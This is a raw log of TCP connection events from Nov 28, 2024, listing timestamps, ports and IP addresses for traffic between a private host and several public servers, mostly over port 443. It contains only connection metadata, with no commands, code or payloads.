Nov 28, 2024 15:17:19.812930107 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.812935114 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.815767050 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.815773010 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.815783024 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.815785885 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.839884043 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.839931965 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.839992046 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.892585039 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.892652035 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.892703056 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.895072937 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.895090103 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.930365086 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.930397987 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.930450916 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.930903912 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.930977106 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.931020975 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.988185883 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.988203049 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:19.988214970 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:19.988220930 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:20.086658955 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.086694956 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:20.086775064 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.089143991 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.089159012 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:20.089528084 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.089536905 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:20.166285992 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.166299105 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:20.239665985 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.239710093 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:20.239768028 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.295567036 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.295692921 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:20.295788050 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.317899942 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.317928076 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:20.384296894 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:20.384355068 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:20.526879072 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.526959896 CET	443	49736	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:20.527031898 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.527178049 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.527206898 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:20.527287960 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.527436018 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.527467012 CET	443	49736	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:20.527626991 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.527641058 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:20.605186939 CET	49738	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.605267048 CET	443	49738	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:20.605349064 CET	49738	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.605747938 CET	49738	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.605777979 CET	443	49738	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:20.621079922 CET	49739	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.621105909 CET	443	49739	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:20.621195078 CET	49739	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.621401072 CET	49739	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:20.621414900 CET	443	49739	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:21.106697083 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:21.106730938 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:21.106798887 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:21.107497931 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:21.107619047 CET	443	49743	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:21.107850075 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:21.112485886 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:21.112517118 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:21.112587929 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:21.117721081 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:21.117760897 CET	443	49743	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:21.121634007 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:21.121653080 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:21.121727943 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:21.121743917 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:21.760703087 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:21.809869051 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:21.816404104 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:21.816426039 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:21.817116022 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:21.817122936 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:21.894951105 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:21.907001972 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:21.942034960 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:21.954292059 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.051429033 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.051450968 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.051889896 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.051896095 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.052114010 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.052126884 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.052474022 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.052479029 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.157301903 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.162343979 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.203058958 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.213964939 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.214021921 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.214103937 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.219949961 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.255959034 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:22.257635117 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:22.298393965 CET	443	49736	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.303941965 CET	443	49738	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.319462061 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.344933033 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.348098993 CET	49738	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.348149061 CET	443	49738	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.348227024 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.348239899 CET	443	49736	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.349178076 CET	443	49738	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.349224091 CET	443	49736	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.349248886 CET	49738	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.349276066 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.368253946 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.368330002 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.368397951 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.376166105 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.395981073 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.396183014 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.396195889 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.396229982 CET	443	49736	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.397389889 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.397408962 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.397476912 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.398258924 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.398291111 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.398292065 CET	49738	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.398441076 CET	443	49738	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.398823023 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.398830891 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.399065018 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.399091005 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.399105072 CET	49730	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.399111032 CET	443	49730	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.399641991 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.399719000 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.399935007 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.399965048 CET	443	49736	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.400449991 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.400468111 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.400576115 CET	49738	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.400587082 CET	443	49738	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.400789022 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.400798082 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.401031017 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.401043892 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.401458979 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.401458979 CET	49728	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.401468992 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.401478052 CET	443	49728	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.410151005 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.410223961 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.410279036 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.412862062 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.412862062 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.412877083 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.412885904 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.434480906 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.434495926 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.434597015 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.434609890 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.434617043 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.434648991 CET	443	49739	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.434711933 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.434883118 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.434895992 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.436850071 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.436861038 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.436983109 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.436995983 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.437014103 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.437082052 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.437088013 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.437563896 CET	49739	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.437576056 CET	443	49739	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.438620090 CET	443	49739	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.438694954 CET	49739	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.440937996 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.440937996 CET	49738	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.441330910 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.443350077 CET	49739	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.443414927 CET	443	49739	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.443763971 CET	49739	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.443772078 CET	443	49739	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.497407913 CET	49739	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.649177074 CET	49738	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.649322033 CET	443	49738	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:22.649383068 CET	49738	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:22.655832052 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:22.655865908 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:22.655947924 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:22.657186985 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:22.657202005 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:22.717283010 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.717390060 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.717463017 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.717745066 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.717793941 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.717839956 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.717856884 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.723748922 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.723784924 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.723905087 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.724075079 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.724090099 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.724343061 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.724406004 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.724663973 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.724798918 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.724819899 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.724834919 CET	49731	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.724839926 CET	443	49731	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.727813959 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.727826118 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.727901936 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.728040934 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:22.728053093 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:22.935950994 CET	443	49743	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.936052084 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.937244892 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.937336922 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.942754984 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.942781925 CET	443	49743	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.943032026 CET	443	49743	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.943098068 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.943121910 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.943137884 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.943381071 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.943424940 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.947854042 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.947921991 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.950314045 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.950352907 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.950684071 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.950722933 CET	443	49743	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.952995062 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.953005075 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.953231096 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:22.953290939 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.953382969 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:22.953408957 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.165518045 CET	443	49736	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.165656090 CET	443	49736	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.165729046 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.167352915 CET	49736	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.167395115 CET	443	49736	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.202439070 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.202487946 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.202522993 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.202533007 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.202555895 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.202593088 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.202600956 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.216993093 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.217035055 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.217083931 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.217101097 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.217140913 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.217145920 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.237418890 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.237487078 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.237504005 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.277971983 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.277992010 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.319084883 CET	443	49739	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.319286108 CET	443	49739	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.319384098 CET	49739	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.320158958 CET	49739	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.320173979 CET	443	49739	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.419428110 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.419449091 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.430577040 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.430628061 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.430635929 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.462696075 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.462743044 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.462759972 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.462771893 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.462817907 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.470608950 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.480889082 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.480967999 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.480977058 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.513128996 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.513175011 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.513181925 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.513189077 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.513226032 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.520955086 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.531248093 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.531285048 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.531320095 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.531327963 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.531369925 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.537322044 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.538897038 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.538918018 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.538954020 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.538964987 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.538984060 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.538992882 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.539016008 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.539036989 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.540923119 CET	49742	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.540934086 CET	443	49742	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.545212984 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.545296907 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.545304060 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.553096056 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.553143978 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.553152084 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.554568052 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.554590940 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.554626942 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.554636002 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.554661989 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.554666996 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.554708004 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.554730892 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.560930967 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.560982943 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.560990095 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.568846941 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.568964958 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.568970919 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.622183084 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.637051105 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.638799906 CET	443	49743	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.638820887 CET	443	49743	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.638876915 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.638876915 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.638911009 CET	443	49743	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.638926983 CET	443	49743	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.638973951 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.639431000 CET	49743	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.639448881 CET	443	49743	20.223.35.26	192.168.2.6
